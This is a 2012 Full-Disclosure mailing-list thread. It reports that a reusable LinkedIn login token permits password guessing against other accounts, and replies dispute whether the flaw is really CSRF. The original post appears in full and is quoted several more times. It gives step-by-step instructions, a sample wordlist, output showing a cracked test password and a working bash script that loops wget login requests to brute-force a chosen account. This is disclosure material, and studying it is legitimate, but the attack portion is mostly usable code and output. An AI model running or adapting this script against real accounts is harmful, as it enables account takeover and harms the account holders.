Re: [Full-disclosure] LinkedIn CSRF: Login Brute Force
I agree with you, that this is nothing more than doing it via the login form, but it is not so useless at all. It can be used by an attacker if he has a bunch of email addresses and want to try the common passwords, since the attack can be implemented very easy. I would expect LinkedIn to should stop an IP after X wrong logins (no mather if via this method or normal login) or use some kind of captcha. Am 17.05.2012 19:50, schrieb Julius Kivimäki: Where's the csrf? All I see here is an useless bruteforce attack. 2012/5/17 Fernando A. Lagos B. ferna...@zerial.org mailto:ferna...@zerial.org LinkedIn uses a Token into the login form which can be used many times for different usernames. You can do it using the same IP or differents IP, the token will not be verified. I. Step by step === 1). Login into your LinkedIn account and capture the sourceAlias and csrfToken variable (example: sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoicsrfToken=ajax%3A626530304817496) 2). Use the Token to login into another account: https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A626530304817496session_key=someb...@somedomain.comsession_password=ANY_PASSWORDsession_redirect=sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoisource_app=trk=secureless https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A626530304817496session_key=someb...@somedomain.comsession_password=ANY_PASSWORDsession_redirect=sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoisource_app=trk=secureless session_key is the username and session_password is the password. 3). The password (session_password) is not correct If the requested URL returns The email address or password you provided does not match our records, else the password if correct. II. PoC === 1). The Wordlist (filename: w) [zerial@belcebu ~]$ cat w asdfgh zxcvbnm 1234567 0987654 12345698 456_4567 123456qwert qwsdcv 12wedfgh 123456qwerty 12345qwei 112233 [zerial@belcebu ~]$ 2). Executing the script: [zerial@belcebu ~]$ sh linkedin.sh pa...@zerial.org mailto:pa...@zerial.org w Password found: qwsdcv [zerial@belcebu ~]$ This is the correct password for this test user. III. Script === #!/bin/bash # # usage: ./linkedin.sh usern...@domain.com mailto:usern...@domain.com wordlist # TOKEN=ajax%3A626530304817496 sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi if [ ! -f $2 ]; then echo file $2 does not exists exit fi _USR=$1 for _PWD in $(cat $2); do if [ $(echo -n $_PWD|wc -c) -lt 6 ]; then echo Ignoring $_PWD (must be grather than 6 chars); continue fi wget -o /dev/null -O - https://www.linkedin.com/uas/login-submit?csrfToken=$TOKENsession_key=$_USRsession_password=$_PWDsession_redirect=sourceAlias=$sourceAliassource_app=trk=secureless https://www.linkedin.com/uas/login-submit?csrfToken=$TOKENsession_key=$_USRsession_password=$_PWDsession_redirect=sourceAlias=$sourceAliassource_app=trk=secureless|grep 'The email address or password you provided does not match our records\|captcha' /dev/null if [ $? -eq 1 ]; then echo Password found: $_PWD; exit; fi done echo Password NOT found. Try later. #EOF More info (in spanish): http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ cheers, -- Fernando A. Lagos Berardi Seguridad Informatica GNU/Linux User #382319 Blog: http://blog.zerial.org Jabber: zer...@jabberes.org mailto:zer...@jabberes.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] LinkedIn CSRF: Login Brute Force
Where's the csrf? All I see here is an useless bruteforce attack. 2012/5/17 Fernando A. Lagos B. ferna...@zerial.org LinkedIn uses a Token into the login form which can be used many times for different usernames. You can do it using the same IP or differents IP, the token will not be verified. I. Step by step === 1). Login into your LinkedIn account and capture the sourceAlias and csrfToken variable (example: sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoicsrfToken=ajax%3A626530304817496) 2). Use the Token to login into another account: https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A626530304817496session_key=someb...@somedomain.comsession_password=ANY_PASSWORDsession_redirect=sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoisource_app=trk=secureless session_key is the username and session_password is the password. 3). The password (session_password) is not correct If the requested URL returns The email address or password you provided does not match our records, else the password if correct. II. PoC === 1). The Wordlist (filename: w) [zerial@belcebu ~]$ cat w asdfgh zxcvbnm 1234567 0987654 12345698 456_4567 123456qwert qwsdcv 12wedfgh 123456qwerty 12345qwei 112233 [zerial@belcebu ~]$ 2). Executing the script: [zerial@belcebu ~]$ sh linkedin.sh pa...@zerial.org w Password found: qwsdcv [zerial@belcebu ~]$ This is the correct password for this test user. III. Script === #!/bin/bash # # usage: ./linkedin.sh usern...@domain.com wordlist # TOKEN=ajax%3A626530304817496 sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi if [ ! -f $2 ]; then echo file $2 does not exists exit fi _USR=$1 for _PWD in $(cat $2); do if [ $(echo -n $_PWD|wc -c) -lt 6 ]; then echo Ignoring $_PWD (must be grather than 6 chars); continue fi wget -o /dev/null -O - https://www.linkedin.com/uas/login-submit?csrfToken=$TOKENsession_key=$_USRsession_password=$_PWDsession_redirect=sourceAlias=$sourceAliassource_app=trk=secureless |grep 'The email address or password you provided does not match our records\|captcha' /dev/null if [ $? -eq 1 ]; then echo Password found: $_PWD; exit; fi done echo Password NOT found. Try later. #EOF More info (in spanish): http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ cheers, -- Fernando A. Lagos Berardi Seguridad Informatica GNU/Linux User #382319 Blog: http://blog.zerial.org Jabber: zer...@jabberes.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] LinkedIn CSRF: Login Brute Force
It's a capcha bypass, not a CSRF as claimed. I'm also not quite sure if the capcha has really been bypassed at all as the blog post in spanish says you have to enter it manually from time to time... Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token. This line is quite funny: Nota: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron. (LinkedIn has been notified two weeks ago, but they never responded). The comments are pretty clueless too. On Thu, May 17, 2012 at 7:50 PM, Julius Kivimäki julius.kivim...@gmail.com wrote: Where's the csrf? All I see here is an useless bruteforce attack. 2012/5/17 Fernando A. Lagos B. ferna...@zerial.org LinkedIn uses a Token into the login form which can be used many times for different usernames. You can do it using the same IP or differents IP, the token will not be verified. I. Step by step === 1). Login into your LinkedIn account and capture the sourceAlias and csrfToken variable (example: sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoicsrfToken=ajax%3A626530304817496) 2). Use the Token to login into another account: https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A626530304817496session_key=someb...@somedomain.comsession_password=ANY_PASSWORDsession_redirect=sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoisource_app=trk=secureless session_key is the username and session_password is the password. 3). The password (session_password) is not correct If the requested URL returns The email address or password you provided does not match our records, else the password if correct. II. PoC === 1). The Wordlist (filename: w) [zerial@belcebu ~]$ cat w asdfgh zxcvbnm 1234567 0987654 12345698 456_4567 123456qwert qwsdcv 12wedfgh 123456qwerty 12345qwei 112233 [zerial@belcebu ~]$ 2). Executing the script: [zerial@belcebu ~]$ sh linkedin.sh pa...@zerial.org w Password found: qwsdcv [zerial@belcebu ~]$ This is the correct password for this test user. III. Script === #!/bin/bash # # usage: ./linkedin.sh usern...@domain.com wordlist # TOKEN=ajax%3A626530304817496 sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi if [ ! -f $2 ]; then echo file $2 does not exists exit fi _USR=$1 for _PWD in $(cat $2); do if [ $(echo -n $_PWD|wc -c) -lt 6 ]; then echo Ignoring $_PWD (must be grather than 6 chars); continue fi wget -o /dev/null -O - https://www.linkedin.com/uas/login-submit?csrfToken=$TOKENsession_key=$_USRsession_password=$_PWDsession_redirect=sourceAlias=$sourceAliassource_app=trk=secureless;|grep 'The email address or password you provided does not match our records\|captcha' /dev/null if [ $? -eq 1 ]; then echo Password found: $_PWD; exit; fi done echo Password NOT found. Try later. #EOF More info (in spanish): http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ cheers, -- Fernando A. Lagos Berardi Seguridad Informatica GNU/Linux User #382319 Blog: http://blog.zerial.org Jabber: zer...@jabberes.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- “There's a reason we separate military and the police: one fights the enemy of the state, the other serves and protects the people. When the military becomes both, then the enemies of the state tend to become the people.” ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] LinkedIn CSRF: Login Brute Force
LinkedIn uses a Token into the login form which can be used many times for different usernames. You can do it using the same IP or differents IP, the token will not be verified. I. Step by step === 1). Login into your LinkedIn account and capture the sourceAlias and csrfToken variable (example: sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoicsrfToken=ajax%3A626530304817496) 2). Use the Token to login into another account: https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A626530304817496session_key=someb...@somedomain.comsession_password=ANY_PASSWORDsession_redirect=sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoisource_app=trk=secureless session_key is the username and session_password is the password. 3). The password (session_password) is not correct If the requested URL returns The email address or password you provided does not match our records, else the password if correct. II. PoC === 1). The Wordlist (filename: w) [zerial@belcebu ~]$ cat w asdfgh zxcvbnm 1234567 0987654 12345698 456_4567 123456qwert qwsdcv 12wedfgh 123456qwerty 12345qwei 112233 [zerial@belcebu ~]$ 2). Executing the script: [zerial@belcebu ~]$ sh linkedin.sh pa...@zerial.org w Password found: qwsdcv [zerial@belcebu ~]$ This is the correct password for this test user. III. Script === #!/bin/bash # # usage: ./linkedin.sh usern...@domain.com wordlist # TOKEN=ajax%3A626530304817496 sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi if [ ! -f $2 ]; then echo file $2 does not exists exit fi _USR=$1 for _PWD in $(cat $2); do if [ $(echo -n $_PWD|wc -c) -lt 6 ]; then echo Ignoring $_PWD (must be grather than 6 chars); continue fi wget -o /dev/null -O - https://www.linkedin.com/uas/login-submit?csrfToken=$TOKENsession_key=$_USRsession_password=$_PWDsession_redirect=sourceAlias=$sourceAliassource_app=trk=secureless;|grep 'The email address or password you provided does not match our records\|captcha' /dev/null if [ $? -eq 1 ]; then echo Password found: $_PWD; exit; fi done echo Password NOT found. Try later. #EOF More info (in spanish): http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/ cheers, -- Fernando A. Lagos Berardi Seguridad Informatica GNU/Linux User #382319 Blog: http://blog.zerial.org Jabber: zer...@jabberes.org ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
